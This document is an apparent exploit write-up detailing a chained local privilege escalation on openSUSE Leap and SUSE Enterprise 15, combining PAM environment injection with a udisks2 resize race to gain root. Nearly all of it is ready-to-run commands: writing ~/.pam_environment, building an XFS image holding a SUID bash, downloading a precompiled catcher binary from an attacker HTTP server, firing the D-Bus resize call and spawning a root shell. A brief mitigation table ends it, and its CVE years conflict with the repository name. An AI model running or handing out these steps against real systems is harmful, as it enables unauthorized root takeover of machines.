
Exploit chain for local privilege escalation on SUSE Linux, chaining PAM environment injection and a udisks2 race condition to obtain a root shell.
Target OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Required access: Unprivileged local user with SSH access
Result: Full root shell
This document details the manual exploitation of two chained local privilege escalation vulnerabilities discovered by the Qualys Threat Research Unit:
~/.pam_environment, allowing a remote SSH user to obtain allow_active Polkit status normally reserved for physically present console users.libblockdev (used by udisks2) fails to apply the nosuid flag when temporarily mounting a filesystem during a Filesystem.Resize D-Bus operation, allowing execution of a SUID binary from a user-controlled loop device.Chained together, these vulnerabilities allow any unprivileged SSH user to escalate to root with no interaction from other users.
Attacker machine (Kali Linux):
xfsprogs installed (sudo apt install xfsprogs -y)gcc availablepython3 -m http.server)Target machine:
udisks2 and polkit installed (default on these systems)gdbus available (part of glib2, installed by default)After obtaining SSH access as an unprivileged user, confirm the target is vulnerable.
Check the OS:
cat /etc/os-release | grep -E "NAME|VERSION"
The system must be openSUSE Leap 15.x or SUSE Linux Enterprise 15.x.
Check that pam_env reads user files:
grep "pam_env" /etc/pam.d/common-auth
Look for user_readenv=1 or simply the presence of pam_env.so. On default SUSE installations this is enabled.
Check that udisks2 and polkit are running:
systemctl is-active udisks2
systemctl is-active polkit
Check the Polkit policy for loop device setup:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
The allow_active value must be yes.
allow_active via PAM InjectionThis vulnerability abuses the fact that pam_env.so reads ~/.pam_environment during SSH login and injects those variables into the session environment before pam_systemd.so evaluates session context. By setting XDG_SEAT and XDG_VTNR, the attacker tricks systemd-logind into treating the remote SSH session as a physical console session, granting allow_active Polkit privileges.
Inject the variables:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Log out and reconnect via SSH to trigger PAM processing:
exit
ssh user@<target_ip>
Verify that allow_active is now granted:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
The output must show:
Active=yes
Seat=seat0
VTNr=1
Set the session ID and D-Bus address if not automatically populated:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
The XFS image must be formatted with features compatible with the SUSE 15 kernel. Modern versions of xfsprogs enable features such as exchange, parent, bigtime, inobtcount, and nrext64 by default, which are not supported by older SUSE kernels and will cause mount failures. The following flags produce a compatible V5 XFS image:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Mount the image and inject a SUID bash binary:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
The output must show -rwsr-xr-x 1 root root.
Because the vulnerable mount window during Filesystem.Resize is only a few milliseconds wide, a compiled C binary is required to catch it reliably. A pure Bash loop is too slow.
Download the pre-compiled payload from the releases page:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] You can also compile the binary yourself. The source code is available in payload.c.
Serve both files over HTTP:
cd /tmp && python3 -m http.server 8888
# Transfer the XFS image
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Transfer the catcher binary
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
This step requires two simultaneous SSH sessions to the target.
Set up the loop device (either session):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Note the loop device assigned, for example /dev/loop1.
Session 1: Start the catcher and leave it running:
/tmp/payload
[!NOTE] If the catcher exits immediately without producing a root shell, try starting it before setting up the loop device and repeat the sequence.
Session 2: Immediately trigger the resize:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
The Resize call will return an error, but before failing, libblockdev mounts the filesystem at a temporary path under /tmp/blockdev.XXXXXX/ without the nosuid flag. The catcher in Session 1 detects this mount, executes the SUID bash binary from inside it, copies a root shell to /tmp/rootbash, and spawns it.
[!NOTE] If you have problems with
Not authorized to perform operationtry using whichever terminal you succesfully used for executing theudiskctl loop-setup...command and use the other shell for tunnig the/tmp/payloadscript.
Once the catcher completes, a root shell is either spawned automatically or can be obtained via:
/tmp/rootbash -p
whoami
# root
| Component | Fix |
|---|
| CVE-2025-6018 | Disable user_readenv in PAM: set user_readenv=0 in /etc/pam.d/common-auth |
| CVE-2025-6019 | Update libblockdev and udisks2 to patched versions from the distribution vendor |
| Polkit hardening | Change allow_active to auth_admin for org.freedesktop.udisks2.loop-setup in the UDisks2 policy file |